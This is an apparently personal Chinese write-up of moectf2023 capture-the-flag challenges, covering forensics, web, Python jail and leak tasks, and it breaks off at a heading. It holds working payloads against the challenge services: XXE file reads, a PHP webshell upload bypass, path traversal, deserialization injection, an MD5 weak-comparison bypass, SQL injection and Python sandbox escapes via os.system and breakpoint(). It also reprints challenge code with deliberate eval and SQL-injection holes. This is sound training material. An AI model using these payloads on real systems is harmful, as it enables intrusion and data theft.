moectf2023
- 打不开的图片1
- 狗子(1)
- 打不开的图片2
- building_near_lake
- test_nc
- moe图床
- 了解你的座驾
- cookie
- 夺命十三抢
- moe图床2
- gas!gas!gas!
- signin
- 出去旅游的心海
- jail level 0
- jail level 2
- jail level 1
- jail level 3
- jail level 4
- leak level 0
- leak level 1
- leak level 2
- EZ MLP
- base64
- xor
- upx
- 皇帝的新密码
- ezrot
msic
打不开的图片1
下载zip压缩包,解压
里面一个f1ag的文件,改后缀jpg、png都打不开
看属性(exif),似乎没什么,用https://exif.tuchong.com/view/10809574/ 这个网站,查看exif信息
看到一串可疑的16进制,16进制转字符
狗子(1)
一个音频文件,直接winhex打开搜索moectf文本
打不开的图片2
写的是jpg后缀,打不开应该是格式错了
winhex打开,看到了IHDR、sRGB、gAMA这是png图片
但是它的开头不对,修改保存,再打开,就有flag出现在图片中
building_near_lake
先百度识图查看图片是在哪里
发现是厦大翔安校区图书馆
提示BD09坐标系,是百度地图
用百度地图提取坐标
查看图片exif信息,发现照相机型号,再搜索一波发现是redmi k60e,搜索其发布会时间
提交得到的信息
pwn
test_nc
就是nc连接,然后cat .flag(隐藏文件)
主要学到了一个nc工具,除了监听,用于反弹shell,还可以正向连接
web
moe图床
这题白名单只允许上传png后缀的,传个png后缀的马
用00截断,问题就在于1.php\0.png它还是说后缀错误
试了很久,就猜测是不是截取了php作为后缀到后端验证,就尝试把文件名改为1.png\0.php,结果绕过了,显示上传成功,但是这里00截断了,上传的路径是1.png
那就改名位1.png.php,结果上传成功,命令执行拿到flag
果然这种的还是要多试啊
了解你的座驾
抓包看到post数据:xml_content
把内容url解码一下是:
<xml><name>...</name></xml>
想到是xxe漏洞
构造payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///flag" > ]> <xml> <name>&xxe;</name> </xml>
记住把它url编码在传给xml_content,拿到flag
xxe还真得再学学
cookie
这题我真服了,一早就知道要伪造tocken
先试了试,jwt解不了,然后试flask-session,解开了
我就先入为主一直认为这是flask-session,然后一直找不到secret-key
就一直认为最开始的那个<屋里的狗>与secret-key有关
然后一天过去了,看到很多人做出来了,又尝试了下
猛然看到wappalyzer显示的是编程语言php,又看这个token像是base64,结果还真是,于是就伪造token
把role=user改为role=admin,修改token去GET flag
真的ctf不能某一个思路有东西出来了,就一直一条道走到黑,如果搞不出来,应该多想想其他可能,总之就是多试
夺命十三抢
<?php highlight_file(__FILE__); require_once('Hanxin.exe.php'); $Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪'; $new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant); $before = serialize($new_visitor); $after = Deadly_Thirteen_Spears::Make_a_Move($before); echo 'Your Movements: ' . $after . '<br>'; try{ echo unserialize($after); }catch (Exception $e) { echo "Even Caused A Glitch..."; } ?> O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:1:"a";s:11:"Spear_Owner";s:6:"MaoLei";} O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:1:"a";s:11:"Spear_Owner";s:6:"nobody";} array("nobody" => "MaoLei")
<?php if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) { highlight_file(__FILE__); } class Deadly_Thirteen_Spears{ private static $Top_Secret_Long_Spear_Techniques_Manual = array( "di_yi_qiang" => "Lovesickness",12 "di_er_qiang" => "Heartbreak",10 "di_san_qiang" => "Blind_Dragon"12 "di_si_qiang" => "Romantic_charm"14 "di_wu_qiang" => "Peerless",8 "di_liu_qiang" => "White_Dragon",12 "di_qi_qiang" => "Penetrating_Gaze",16 "di_ba_qiang" => "Kunpeng",7 "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",32 "di_shi_qiang" => "Overlord", "di_shi_yi_qiang" => "Letting_Go", "di_shi_er_qiang" => "Decisive_Victory", "di_shi_san_qiang" => "Unrepentant_Lethality" ); public static function Make_a_Move($move){ foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){ $move = str_replace($index, $movement, $move); } return $move; } } class Omg_It_Is_So_Cool_Bring_Me_My_Flag{ public $Chant = ''; public $Spear_Owner = 'Nobody'; function __construct($chant){ $this->Chant = $chant; $this->Spear_Owner = 'Nobody'; } function __toString(){ if($this->Spear_Owner !== 'MaoLei'){ return 'Far away from COOL...'; } else{ return "Omg You're So COOOOOL!!! " . getenv('FLAG'); } } } ?>
<?php highlight_file(__FILE__); require_once('Hanxin.exe.php'); $Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪'; $new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant); $before = serialize($new_visitor); $after = Deadly_Thirteen_Spears::Make_a_Move($before); echo 'Your Movements: ' . $after . '<br>'; try{ echo unserialize($after); }catch (Exception $e) { echo "Even Caused A Glitch..."; } ?>
这题需要让Spear_Owner=MaoLei,似乎只能选择,通过传入的chant去拼接一个序列化字符串,覆盖后面的Spear_Owner=nobody
我们知道反序列化各个字段的意思,闭合很简单只需要传参——";s:11:"Spear_Owner";s:6:"MaoLei";}
但是前面有个s:35(也就是s:35:"";s:11:"Spear_Owner";s:6:"MaoLei";}"),这里的35会根据你的传参长度而改变
想到之前有个函数,遍历数组的键和值,然后把传入的字符串中的键替换为值
class Deadly_Thirteen_Spears{ private static $Top_Secret_Long_Spear_Techniques_Manual = array(//被遍历数组 "di_yi_qiang" => "Lovesickness",12 "di_er_qiang" => "Heartbreak",10 "di_san_qiang" => "Blind_Dragon"12 "di_si_qiang" => "Romantic_charm"14 "di_wu_qiang" => "Peerless",8 "di_liu_qiang" => "White_Dragon",12 "di_qi_qiang" => "Penetrating_Gaze",16 "di_ba_qiang" => "Kunpeng",7 "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",32 "di_shi_qiang" => "Overlord", "di_shi_yi_qiang" => "Letting_Go", "di_shi_er_qiang" => "Decisive_Victory", "di_shi_san_qiang" => "Unrepentant_Lethality" ); public static function Make_a_Move($move){ foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){ $move = str_replace($index, $movement, $move); } return $move; } }
思路:
通过键和值的长度差来绕过
我们传入格式:.......";s:11:"Spear_Owner";s:6:"MaoLei";},省略号处传入键值,键值会被替换为数组的值,如果键和值相差的长度刚好为35,则符合反序列化规则,可以反序列化成功
s:35:"";s:11:"Spear_Owner";s:6:"MaoLei";}最初输入是这样 修改后s:<num1>:"str1";s:11:"Spear_Owner";s:6:"MaoLei";} str1表示输入的数组键名 经过替换s:<num2>:"str2";s:11:"Spear_Owner";s:6:"MaoLei";} str2表示替换后的值 num2-num1=35
写个python脚本来找符合条件的键(其实是个半自动脚本,我是找出,值长度大于键长度的,发现刚好这几个长度差之和=35):
str = '";s:11:"Spear_Owner";s:6:"MaoLei";}' print(len(str)) str1 = ["di_yi_qiang","di_er_qiang","di_san_qiang","di_si_qiang","di_wu_qiang","di_liu_qiang","di_qi_qiang","di_ba_qiang","di_jiu_qiang","di_shi_qiang","di_shi_yi_qiang","di_shi_er_qiang","di_shi_san_qiang"] str2 = ["Lovesickness","Heartbreak","Heartbreak","Romantic_charm","Peerless","White_Dragon","Penetrating_Gaze","Kunpeng","Night_Parade_of_a_Hundred_Ghosts","Overlord","Letting_Go","Decisive_Victory","Unrepentant_Lethality"] num = 0 p="" for i in range(13): s = len(str2[i])-len(str1[i]) if(s>0): p+=str1[i] print(p+str) print("--------------------")
结果:?chant=di_yi_qiangdi_si_qiangdi_qi_qiangdi_jiu_qiangdi_shi_er_qiangdi_shi_san_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
moe图床2
url/images.php?name=../html/images.php
目录结构大概是:
/var/www/html/images.php
更具报错images.php是这样拼接路径的:../uploads/name
../uploads/../../../etc/passwd
images.php
<?php if (isset($_GET['name'])) { $name = $_GET['name']; // 显示图片并设置正确的 MIME 类型 $imageData = file_get_contents('../uploads/'.$name); header("Content-Type: " . 'image/png'); echo $imageData; } ?>
upload.php
<?php // å
许çæ大æ件大å°ï¼åä½ï¼åèï¼ $maxFileSize = 2 * 1024 * 1024; // 2MB if ($_SERVER["REQUEST_METHOD"] == "POST") { $uploadDir = "uploads/"; // å¾çä¸ä¼ ç®å½ $imageFile = $_FILES["image"]; // æ£æ¥æä»¶å¤§å° if ($imageFile["size"] > $maxFileSize) { echo "æ件大å°è¶
è¿éå¶ï¼æ大å
许 " . ($maxFileSize / (1024 * 1024)) . "MBï¼ã"; } else { // ä½¿ç¨ fileinfo æ©å±å¤ææ件类å $finfo = finfo_open(FILEINFO_MIME_TYPE); $imageType = finfo_file($finfo, $imageFile["tmp_name"]); finfo_close($finfo); $allowedImageTypes = ['image/jpeg', 'image/png', 'image/gif']; if (in_array($imageType, $allowedImageTypes)) { // çæä¸ä¸ªå¯ä¸çæ件å $uniqueFileName = uniqid() . '_' . $imageFile["name"]; $destinationPath = "../uploads/" . $uniqueFileName; // å°æ件ä»ä¸´æ¶ä½ç½®ç§»å¨å°ç®æ ä½ç½® if (move_uploaded_file($imageFile["tmp_name"], $destinationPath)) { $imageUrl = "images.php?name=" . $uniqueFileName; echo '<a href="'.$imageUrl.'">æ¥ç</a>'; exit; } else { echo "æ件ä¸ä¼ 失败ã"; } } else { echo "åªå
许ä¸ä¼ å¾çæ件ï¼JPEGãPNG æ GIFï¼ã"; } } } ?>
但是SSRF读不到flag
但给了一个提示:Fl3g_n0t_Here_dont_peek!!!!!.php
访问以下
<?php highlight_file(__FILE__); if (isset($_GET['param1']) && isset($_GET['param2'])) { $param1 = $_GET['param1']; $param2 = $_GET['param2']; if ($param1 !== $param2) { $md5Param1 = md5($param1); $md5Param2 = md5($param2); if ($md5Param1 == $md5Param2) { echo "O.O!! " . getenv("FLAG"); } else { echo "O.o??"; } } else { echo "o.O?"; } } else { echo "O.o?"; } ?> O.o?
就是一个弱等于绕过,给两个字符串不一样,但是md5之后是0e开头,在弱等于时会被认为是科学计数法都为0,从而绕过
param1=QNKCDZO¶m2=240610708
gas!gas!gas!
这题就是写python脚本,爬取返回的页面,用xpath匹配相应关键字,根据关键字来改变要post的数据
主要就在于,这里说是坚持5轮,但是不知道为什么循环了7次才出来
脚本:
""" 左:-1 直行:0 右:1 反打方向 左:1,右:-1 """ """ 松开:0 保持:1 全开:2 踩油门抓地力小,松开抓地力大 抓地力太大了:2 抓地力太小了:0 保持这个速度:1 """ import requests from lxml import html def choose_num2(content1): content = content1[0] num2 = 0 if "左" in content: num2 = 1 elif "右" in content: num2 = -1 elif "直行" in content: num2 = 0 return num2 def choose_num3(content1): content = content1[0] num3 = 0 if "抓地力太大了" in content: num3 = 2 elif "抓地力太小了" in content: num3 = 0 elif "保持" in content: num3 = 1 return num3 num2 = 0 num3 = 2 url = "http://localhost:56222/" session = requests.session()#注意session保持,不然永远都在第一轮 for i in range(7): #print(num2,num3) data = { 'driver':"qs", 'steering_control':num2, 'throttle':num3 } resp = session.post(url,data) etree = html.etree et = etree.HTML(resp.text) result = et.xpath('//div[@id="info"]/h2/text()') content = et.xpath('//div[@id="info"]/h3/font/text()') #当i为6,content这个匹配的表达式,匹配不到内容,choose_num2/3方法会显示,超出list范围,所以直接打印返回包,多半有flag if i==6: print(resp.text) break num2 = choose_num2(content) num3 = choose_num3(content) print(content,result)
signin
{"username":"admin","password":"admin"}
from secrets import users, salt import hashlib import base64 import json import http.server with open("flag.txt","r") as f: FLAG = f.read().strip() def gethash(*items): c = 0 for item in items: if item is None: continue c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough? return hex(c)[2:] assert "admin" in users assert users["admin"] == "admin" hashed_users = dict((k,gethash(k,v)) for k,v in users.items()) eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it? def decrypt(data:str): for x in range(5): data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely? return data __page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==") class MyHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): try: if self.path == "/": self.send_response(200) self.end_headers() self.wfile.write(__page__) else: self.send_response(404) self.end_headers() self.wfile.write(b"404 Not Found") except Exception as e: print(e) self.send_response(500) self.end_headers() self.wfile.write(b"500 Internal Server Error") def do_POST(self): try: if self.path == "/login": body = self.rfile.read(int(self.headers.get("Content-Length"))) payload = json.loads(body) params = json.loads(decrypt(payload["params"])) print(params) if params.get("username") == "admin": self.send_response(403) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!") print("admin") return if params.get("username") == params.get("password"): self.send_response(403) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!") print("same") return hashed = gethash(params.get("username"),params.get("password")) for k,v in hashed_users.items(): if hashed == v: data = { "user":k, "hash":hashed, "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}" } self.send_response(200) self.end_headers() self.wfile.write(json.dumps(data).encode()) print("success") return self.send_response(403) self.end_headers() self.wfile.write(b"Invalid username or password") else: self.send_response(404) self.end_headers() self.wfile.write(b"404 Not Found") except Exception as e: print(e) self.send_response(500) self.end_headers() self.wfile.write(b"500 Internal Server Error") if __name__ == "__main__": server = http.server.HTTPServer(("", 9999), MyHandler) server.serve_forever()
分析代码
也就是username不可以是admin,password不可以等于username
但是验证是传入username和passeord经过gethash()后得到的值要等于adminadmin经过gethash()的值
给我的感觉就是hash长度攻击,但是没有adminadmin经过gethash()后的值
没有salt的长度,和加密值
经过很久的尝试,发现了以下特性:
gethash这个函数只要传入两个一样的值,得到的结果都为0,但是username和passwd不可以一样,这里是弱比较,所以值一样,类型不一样绕过
出去旅游的心海
一个博客,cms是wordpress
根据提示,有一个记录访问信息的插件,查看页面源代码
找到一个路径:wp-content/plugins/visitor-logging/logger.php
加到之前url后面
<?php /* Plugin Name: Visitor auto recorder Description: Automatically record visitor's identification, still in development, do not use in industry environment! Author: KoKoMi Still in development! :) */ // 不许偷看!这些代码我还在调试呢! highlight_file(__FILE__); // 加载数据库配置,暂时用硬编码绝对路径 require_once('/var/www/html/wordpress/' . 'wp-config.php'); $db_user = DB_USER; // 数据库用户名 $db_password = DB_PASSWORD; // 数据库密码 $db_name = DB_NAME; // 数据库名称 $db_host = DB_HOST; // 数据库主机 // 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下 // 这些是临时的代码 $ip = $_POST['ip']; $user_agent = $_POST['user_agent']; $time = $_POST['time']; $mysqli = new mysqli($db_host, $db_user, $db_password, $db_name); // 检查连接是否成功 if ($mysqli->connect_errno) { echo '数据库连接失败: ' . $mysqli->connect_error; exit(); } $query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', '$time')"; // 执行插入 $result = mysqli_query($mysqli, $query); // 检查插入是否成功 if ($result) { echo '数据插入成功'; } else { echo '数据插入失败: ' . mysqli_error($mysqli); } // 关闭数据库连接 mysqli_close($mysqli); //gpt真好用 数据插入失败: Incorrect datetime value: '' for column 'time' at row 1
看到一段生成访问者信息的js代码:
async function submitVisitorData() { try { const response = await fetch('http://ip-api.com/json/'); const ipData = await response.json(); if (ipData.status === 'success') { const ip = ipData.query; const country = ipData.country; const city = ipData.city; const formData = new FormData();//创建一个表单,用于post到后端logger.php formData.append('ip', ip); formData.append('user-agent', navigator.userAgent); const dateTime = new Date().toISOString().slice(0, 19).replace('T', ' '); formData.append('time', dateTime); const infoList = document.createElement('ul'); infoList.innerHTML = `<li>IP地址: ${ip}</li><li>国家: ${country}</li><li>城市: ${city}</li><li>User Agent: ${navigator.userAgent}</li><li>平台: ${navigator.platform}</li><li>操作系统语言: ${navigator.language}</li><li>访问时间: ${dateTime}</li>`; const para = document.createElement('p'); para.innerHTML = `记到小本本里了~`; document.querySelector('.wp-container-1').appendChild(infoList); document.querySelector('.wp-container-1').appendChild(para); //记到小本本里~ await fetch('wp-content/plugins/visitor-logging/logger.php', {//把之前生成的表单信息post到后端的logger.php method: 'POST', body: formData }); } else { console.error('获取IP信息失败'); } } catch (error) { console.error('获取IP信息时出错:', error); }
所以这题是insert的sql注入
这里可以控制的就是user_agent,time和ip都控制不了
useragent=payload',' ')--+
jail
jail level 0
直接__import__('os').system('ls');
jail level 2
help() os !sh 获取shell
好家伙,再好好看看这个help()骚操作
似乎是help(),查询的资料太多了会调用more展示,造成溢出
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.") print("Enter your expression and I will evaluate it for you.") user_input_data = input("> ") if len(user_input_data)>12: print("Oh hacker! Bye~") exit(0) print('calc Answer: {}'.format(eval(user_input_data)))
jail level 1
breakpoint() 进入pdb,该模块定义了一个交互式源代码调试器 进去后就可以写任意代码了
好家伙,pdb,breakpoint(),学到很多东西
jail level 3
import re BANLIST = ['breakpoint'] BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST) print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.") print("Enter your expression and I will evaluate it for you.") user_input_data = input("> ") if len(user_input_data)>12: print("Oh hacker! Bye~") exit(0) if re.findall(BANLIST_WORDS, user_input_data, re.I): raise Exception('Blacklisted word detected! you are hacker!') print('Answer result: {}'.format(eval(user_input_data)))
jail level 4
没源码,尝试了help(),查看server源码,看不到
提示说是python2.7
想到之前做前面的题的时候,去谷歌搜到过input在python2可以把字符串当代码执行
输入 eval(input()) __import__('os').system('cat flag') 其实直接__import__('os').system('cat flag')也可以 一开始以为是那种限制字符数,然后eval(input())这样的,但是好像不是
leak level 0
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat" print("Hey Guys,Welcome to the moeleak challenge.Have fun!.") print("| Options: | [V]uln | [B]ackdoor") def func_filter(s): not_allowed = set('vvvveeee') return any(c in not_allowed for c in s) while(1): challenge_choice = input(">>> ").lower().strip() if challenge_choice == 'v': code = input("code >> ") if(len(code)>9): print("you're hacker!") exit(0) if func_filter(code): print("Oh hacker! byte~") exit(0) print(eval(code)) elif challenge_choice == 'b': print("Please enter the admin key") key = input("key >> ") if(key == fake_key_into_local_but_valid_key_into_remote): print("Hey Admin,please input your code:") code = input("backdoor >> ") print(eval(code)) else: print("You should select valid choice!")
使用globals()获取key
然后再选b,输入key,执行命令
leak level 1
